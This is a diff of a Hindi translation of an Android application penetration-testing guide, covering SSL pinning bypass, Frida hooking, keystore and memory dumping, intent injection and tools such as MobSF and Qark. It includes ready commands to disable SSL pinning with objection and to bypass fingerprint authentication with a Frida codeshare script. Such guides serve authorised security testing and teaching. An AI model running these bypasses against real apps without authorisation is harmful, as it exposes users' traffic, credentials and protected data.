हम **प्रमाणपत्र सत्यापन** पर ध्यान केंद्रित करेंगे। सुरक्षा बढ़ाने के लिए सर्वर के प्रमाणपत्र की अखंडता की जांच की जानी चाहिए। यह महत्वपूर्ण है क्योंकि असुरक्षित TLS कॉन्फ़िगरेशन और असुरक्षित चैनलों के माध्यम से संवेदनशील डेटा का संचरण महत्वपूर्ण जोखिम पैदा कर सकता है। सर्वर प्रमाणपत्रों को सत्यापित करने और कमजोरियों को संबोधित करने के लिए विस्तृत चरणों के लिए, [**यह संसाधन**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है।
|
||||
|
||||
#### SSL पिनिंग
|
||||
|
||||
@ -403,7 +403,7 @@ SSL पिनिंग एक सुरक्षा उपाय है जह
|
||||
|
||||
#### ट्रैफ़िक निरीक्षण
|
||||
|
||||
HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल का प्रमाणपत्र स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता है। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)।
|
||||
HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल के प्रमाणपत्र को स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)।
|
||||
|
||||
**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल का संदर्भ लें**](make-apk-accept-ca-certificate.md)。
|
||||
|
||||
@ -411,11 +411,11 @@ HTTP ट्रैफ़िक का निरीक्षण करने क
|
||||
|
||||
जब SSL पिनिंग लागू होती है, तो HTTPS ट्रैफ़िक का निरीक्षण करने के लिए इसे बायपास करना आवश्यक हो जाता है। इस उद्देश्य के लिए विभिन्न विधियाँ उपलब्ध हैं:
|
||||
|
||||
- स्वचालित रूप से **संशोधित करें** **apk** को **SSL पिनिंग बायपास** करने के लिए [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा।
|
||||
- स्वचालित रूप से **संशोधित करें** **apk** को **SSL पिनिंग को बायपास** करने के लिए [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग को बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा।
|
||||
- आप इस सुरक्षा को बायपास करने के लिए **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई)। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- आप **objection** का उपयोग करके **स्वचालित रूप से SSL पिनिंग बायपास** करने की कोशिश कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- आप **MobSF डायनेमिक एनालिसिस** का उपयोग करके **स्वचालित रूप से SSL पिनिंग बायपास** करने की कोशिश कर सकते हैं (नीचे समझाया गया)
|
||||
- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** की कोशिश कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- आप **SSL पिनिंग को स्वचालित रूप से बायपास करने** के लिए [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` का प्रयास कर सकते हैं।
|
||||
- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके भी **SSL पिनिंग को स्वचालित रूप से बायपास करने** का प्रयास कर सकते हैं (नीचे समझाया गया)।
|
||||
- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** का प्रयास कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### सामान्य वेब कमजोरियों की खोज
|
||||
|
||||
@ -423,15 +423,15 @@ HTTP ट्रैफ़िक का निरीक्षण करने क
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) डेवलपर्स, रिवर्स-इंजीनियर्स और सुरक्षा शोधकर्ताओं के लिए एक डायनेमिक इंस्ट्रुमेंटेशन टूलकिट है।\
|
||||
**आप चल रहे एप्लिकेशन तक पहुँच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\
|
||||
[Frida](https://www.frida.re) डेवलपर्स, रिवर्स-इंजीनियर्स और सुरक्षा शोधकर्ताओं के लिए एक डायनामिक इंस्ट्रुमेंटेशन टूलकिट है।\
|
||||
**आप चल रहे एप्लिकेशन तक पहुंच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\
|
||||
यदि आप Android एप्लिकेशनों का परीक्षण करना चाहते हैं, तो आपको Frida का उपयोग करना सीखना होगा।
|
||||
|
||||
- Frida का उपयोग कैसे करें: [**Frida ट्यूटोरियल**](frida-tutorial/)
|
||||
- Frida का उपयोग कैसे करें: [**Frida ट्यूटोरियल**](frida-tutorial/index.html)
|
||||
- Frida के साथ क्रियाओं के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection Frida के उपयोग को स्वचालित करने के लिए शानदार है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- आप यहाँ कुछ शानदार Frida स्क्रिप्ट्स पा सकते हैं: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने के लिए Frida को लोड करने की कोशिश करें जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित है (उपकरण [linjector](https://github.com/erfur/linjector-rs))
|
||||
- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने का प्रयास करें Frida को [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में इंगित किए गए अनुसार लोड करके (उपकरण [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **मेमोरी डंप - Fridump**
|
||||
|
||||
@ -452,9 +452,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Keystore में संवेदनशील डेटा**
|
||||
|
||||
Android में Keystore संवेदनशील डेटा संग्रहीत करने के लिए सबसे अच्छा स्थान है, हालाँकि, पर्याप्त विशेषाधिकार के साथ इसे **एक्सेस करना संभव है**। चूंकि एप्लिकेशन यहाँ **स्पष्ट पाठ में संवेदनशील डेटा** संग्रहीत करने की प्रवृत्ति रखते हैं, इसलिए pentests को इसे रूट उपयोगकर्ता के रूप में जांचना चाहिए या किसी के पास डिवाइस तक भौतिक पहुंच हो सकती है जो इस डेटा को चुरा सकता है।
|
||||
Android में Keystore संवेदनशील डेटा को स्टोर करने के लिए सबसे अच्छा स्थान है, हालाँकि, पर्याप्त विशेषाधिकार के साथ इसे **एक्सेस करना संभव है**। चूंकि एप्लिकेशन यहाँ **स्पष्ट पाठ में संवेदनशील डेटा** स्टोर करने की प्रवृत्ति रखते हैं, इसलिए pentests को इसे रूट उपयोगकर्ता के रूप में जांचना चाहिए या किसी के पास डिवाइस तक भौतिक पहुंच हो सकती है जो इस डेटा को चुरा सकता है।
|
||||
|
||||
यहां तक कि अगर एक ऐप ने keystore में डेटा संग्रहीत किया है, तो डेटा को एन्क्रिप्ट किया जाना चाहिए।
|
||||
यहां तक कि अगर एक ऐप ने keystore में डेटा स्टोर किया है, तो डेटा को एन्क्रिप्ट किया जाना चाहिए।
|
||||
|
||||
Keystore के अंदर डेटा तक पहुँचने के लिए आप इस Frida स्क्रिप्ट का उपयोग कर सकते हैं: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
@ -462,19 +462,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोगों द्वारा कुछ संवेदनशील क्षेत्रों की **सुरक्षा** के लिए किया जा रहा है:
|
||||
निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोगों द्वारा **कुछ संवेदनशील क्षेत्रों की सुरक्षा** के लिए किया जा रहा है:
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **पृष्ठभूमि छवियाँ**
|
||||
|
||||
जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ है।
|
||||
जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ।
|
||||
|
||||
हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** होती है, तो स्नैपशॉट तक पहुँच रखने वाला कोई व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)।
|
||||
हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** होती है, तो स्नैपशॉट तक पहुंच रखने वाला कोई व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)।
|
||||
|
||||
स्नैपशॉट आमतौर पर यहाँ स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
|
||||
स्नैपशॉट आमतौर पर इस स्थान पर स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके **स्क्रीनशॉट कैप्चर को रोकने** का एक तरीका प्रदान करता है। इस ध्वज का उपयोग करके, विंडो की सामग्री को सुरक्षित के रूप में माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
|
||||
Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके **स्क्रीनशॉट कैप्चर को रोकने** का एक तरीका प्रदान करता है। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -484,7 +484,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
### Intent Injection
|
||||
|
||||
डेवलपर्स अक्सर प्रॉक्सी घटक जैसे गतिविधियाँ, सेवाएँ, और ब्रॉडकास्ट रिसीवर्स बनाते हैं जो इन Intents को संभालते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसे तरीकों में पास करते हैं, जो जोखिम भरा हो सकता है।
|
||||
डेवलपर्स अक्सर प्रॉक्सी घटक जैसे गतिविधियाँ, सेवाएँ, और प्रसारण रिसीवर बनाते हैं जो इन Intents को संभालते हैं और उन्हें `startActivity(...)` या `sendBroadcast(...)` जैसे तरीकों में पास करते हैं, जो जोखिम भरा हो सकता है।
|
||||
|
||||
खतरा इस बात में है कि हमलावरों को गैर-निर्यातित ऐप घटकों को ट्रिगर करने या संवेदनशील सामग्री प्रदाताओं तक पहुँचने की अनुमति दी जा रही है, इन Intents को गलत दिशा में भेजकर। एक उल्लेखनीय उदाहरण `WebView` घटक है जो URLs को `Intent` वस्तुओं में `Intent.parseUri(...)` के माध्यम से परिवर्तित करता है और फिर उन्हें निष्पादित करता है, जो संभावित रूप से दुर्भावनापूर्ण Intent इंजेक्शन की ओर ले जा सकता है।
|
||||
|
||||
@ -523,7 +523,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
ध्यान दें कि MobSF **Android**(apk)**, IOS**(ipa) **और Windows**(apx) अनुप्रयोगों का विश्लेषण कर सकता है (_Windows अनुप्रयोगों का विश्लेषण Windows होस्ट में स्थापित MobSF से किया जाना चाहिए_)।\
|
||||
इसके अलावा, यदि आप एक **ZIP** फ़ाइल बनाते हैं जिसमें एक **Android** या **IOS** ऐप का स्रोत कोड होता है (अनुप्रयोग के रूट फ़ोल्डर पर जाएं, सब कुछ चुनें और एक ZIP फ़ाइल बनाएं), तो यह इसका विश्लेषण भी कर सकेगा।
|
||||
|
||||
MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपना API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा।
|
||||
MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपनी API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा।
|
||||
|
||||
### MobSF के साथ सहायक गतिशील विश्लेषण
|
||||
|
||||
@ -534,15 +534,15 @@ MobSF आपको **diff/Compare** विश्लेषण करने और
|
||||
- **HTTPS ट्रैफ़िक कैप्चर करें**
|
||||
- **Frida** का उपयोग करके **runtime** **जानकारी** प्राप्त करें
|
||||
|
||||
Android **संस्करण > 5** से, यह **स्वचालित रूप से Frida** शुरू करेगा और **ट्रैफ़िक** कैप्चर करने के लिए वैश्विक **proxy** सेटिंग्स सेट करेगा। यह केवल परीक्षण किए गए अनुप्रयोग से ट्रैफ़िक कैप्चर करेगा।
|
||||
Android **संस्करण > 5** से, यह **स्वचालित रूप से Frida शुरू करेगा** और **ट्रैफ़िक कैप्चर** करने के लिए वैश्विक **proxy** सेटिंग्स सेट करेगा। यह केवल परीक्षण किए गए अनुप्रयोग से ट्रैफ़िक कैप्चर करेगा।
|
||||
|
||||
**Frida**
|
||||
|
||||
डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **root detection** और **debugger detection** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट का भी उपयोग करेगा।\
|
||||
डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **root detection** और **debugger detection** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट्स का भी उपयोग करेगा।\
|
||||
MobSF **निर्यातित गतिविधियों** को **invoke** कर सकता है, उनके **स्क्रीनशॉट** ले सकता है और उन्हें रिपोर्ट के लिए **सहेज** सकता है।
|
||||
|
||||
गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देखने के लिए "**Frida Live Logs**" पर दबाएं और सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देखने के लिए "**Live API Monitor**" पर दबाएं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
|
||||
MobSF आपको अपने स्वयं के **Frida स्क्रिप्ट** लोड करने की अनुमति भी देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उन स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)।
|
||||
गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। **Frida Live Logs** पर दबाएं ताकि Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देख सकें और "**Live API Monitor**" पर दबाएं ताकि सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देख सकें (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
|
||||
MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -550,7 +550,7 @@ MobSF आपको अपने स्वयं के **Frida स्क्र
|
||||
|
||||
- **लोड की गई कक्षाओं की गणना करें**: यह सभी लोड की गई कक्षाओं को प्रिंट करेगा
|
||||
- **स्ट्रिंग कैप्चर करें**: यह अनुप्रयोग का उपयोग करते समय सभी कैप्चर की गई स्ट्रिंग्स को प्रिंट करेगा (बहुत शोर)
|
||||
- **स्ट्रिंग तुलना कैप्चर करें**: यह बहुत उपयोगी हो सकता है। यह **दो स्ट्रिंग्स को दिखाएगा जो तुलना की जा रही हैं** और यदि परिणाम सत्य या असत्य था।
|
||||
- **स्ट्रिंग तुलना कैप्चर करें**: यह बहुत उपयोगी हो सकता है। यह **2 स्ट्रिंग्स को दिखाएगा जो तुलना की जा रही हैं** और यदि परिणाम सत्य या असत्य था।
|
||||
- **कक्षा विधियों की गणना करें**: कक्षा का नाम डालें (जैसे "java.io.File") और यह कक्षा की सभी विधियों को प्रिंट करेगा।
|
||||
- **कक्षा पैटर्न खोजें**: पैटर्न द्वारा कक्षाओं की खोज करें
|
||||
- **कक्षा विधियों को ट्रेस करें**: **पूरी कक्षा** को **ट्रेस** करें (कक्षा की सभी विधियों के इनपुट और आउटपुट देखें)। याद रखें कि डिफ़ॉल्ट रूप से MobSF कई दिलचस्प Android API विधियों को ट्रेस करता है।
|
||||
@ -571,7 +571,7 @@ receivers
|
||||
**HTTP tools**
|
||||
|
||||
जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" के नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP को **send** कर सकते हैं।\
|
||||
इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))।
|
||||
इसके लिए, _Burp को चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))।
|
||||
|
||||
एक बार जब आप MobSF के साथ डायनामिक एनालिसिस समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर क्लिक कर सकते हैं ताकि **http requests** को **fuzz** किया जा सके और कमजोरियों की तलाश की जा सके।
|
||||
|
||||
@ -585,17 +585,17 @@ receivers
|
||||
### Assisted Dynamic Analysis with Inspeckage
|
||||
|
||||
आप [**Inspeckage**](https://github.com/ac-pm/Inspeckage) से टूल प्राप्त कर सकते हैं।\
|
||||
यह टूल कुछ **Hooks** का उपयोग करेगा ताकि आपको पता चल सके **क्या हो रहा है एप्लिकेशन में** जब आप **dynamic analysis** कर रहे हों।
|
||||
यह टूल कुछ **Hooks** का उपयोग करेगा ताकि आपको पता चल सके **क्या हो रहा है एप्लिकेशन में** जब आप **dynamic analysis** करते हैं।
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
यह एक **शानदार टूल है जो GUI के साथ स्थैतिक विश्लेषण करने के लिए है**
|
||||
यह एक **great tool है static analysis करने के लिए GUI के साथ**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण करने के लिए एक "Proof-of-Concept" डिप्लॉय करने योग्य APK और **ADB commands** बनाने में भी **सक्षम** है। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है।
|
||||
यह टूल कई **security related Android application vulnerabilities** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल **"Proof-of-Concept" deployable APK** और **ADB commands** बनाने में भी **capable** है, ताकि कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है।
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -615,9 +615,9 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके करता है।
|
||||
SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है।
|
||||
|
||||
सभी नियम `rules.json` फ़ाइल में केंद्रित हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यक विश्लेषण के लिए अपने नियम बना सकता है।
|
||||
सभी नियम `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकता है।
|
||||
|
||||
नवीनतम बाइनरी [download page](https://superanalyzer.rocks/download.html) से डाउनलोड करें।
|
||||
```
|
||||
@ -657,14 +657,14 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** एक **M**obile **A**pplication **R**everse engineering और **A**nalysis Framework है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एकत्र करता है, ताकि मोबाइल एप्लिकेशनों का OWASP मोबाइल सुरक्षा खतरों के खिलाफ परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है।
|
||||
**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एकत्र करता है, ताकि मोबाइल एप्लिकेशनों का OWASP मोबाइल सुरक्षा खतरों के खिलाफ परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है।
|
||||
|
||||
यह सक्षम है:
|
||||
|
||||
- विभिन्न उपकरणों का उपयोग करके Java और Smali कोड निकालना
|
||||
- [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) का उपयोग करके APKs का विश्लेषण करना
|
||||
- regexps का उपयोग करके APK से निजी जानकारी निकालना।
|
||||
- Manifest का विश्लेषण करना।
|
||||
- मैनिफेस्ट का विश्लेषण करना।
|
||||
- [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) और [whatweb](https://github.com/urbanadventurer/WhatWeb) का उपयोग करके पाए गए डोमेन का विश्लेषण करना
|
||||
- [apk-deguard.com](http://www.apk-deguard.com) के माध्यम से APK को डिओबफस्केट करना
|
||||
|
||||
@ -674,11 +674,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
ध्यान दें कि जिस सेवा और कॉन्फ़िगरेशन का आप कोड को ओबफस्केट करने के लिए उपयोग करते हैं, उसके आधार पर। रहस्य ओबफस्केटेड हो सकते हैं या नहीं।
|
||||
ध्यान दें कि आप जिस सेवा और कॉन्फ़िगरेशन का उपयोग करते हैं, उसके आधार पर कोड को ओबफस्केट करने के लिए। रहस्य ओबफस्केटेड हो सकते हैं या नहीं।
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
[Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** एक ओपन-सोर्स कमांड-लाइन उपकरण है जो Java कोड को संकुचित, अनुकूलित और ओबफस्केट करता है। यह बाइटकोड को अनुकूलित करने के साथ-साथ अप्रयुक्त निर्देशों का पता लगाने और उन्हें हटाने में सक्षम है। ProGuard मुफ्त सॉफ़्टवेयर है और इसे GNU जनरल पब्लिक लाइसेंस, संस्करण 2 के तहत वितरित किया जाता है।
|
||||
